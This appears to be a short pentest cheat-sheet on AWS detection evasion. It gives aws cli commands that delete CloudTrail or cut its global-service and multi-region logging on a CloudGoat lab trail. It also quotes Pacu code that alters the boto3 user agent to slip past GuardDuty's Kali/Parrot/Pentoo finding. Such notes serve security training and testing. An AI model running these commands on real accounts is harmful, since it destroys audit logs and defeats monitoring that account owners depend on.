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AWS - IOC & Detections


Disable CloudTrail

$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator

Disable monitoring of events from global services

$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event 

Disable Cloud Trail on specific regions

$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west


OS User Agent

⚠ When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent.

Pacu bypass this problem by defining a custom User-Agent:

boto3_session = boto3.session.Session()
ua = boto3_session._session.user_agent()
if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower():  # If the local OS is Kali/Parrot/Pentoo Linux
    # GuardDuty triggers a finding around API calls made from Kali Linux, so let's avoid that...
    self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...')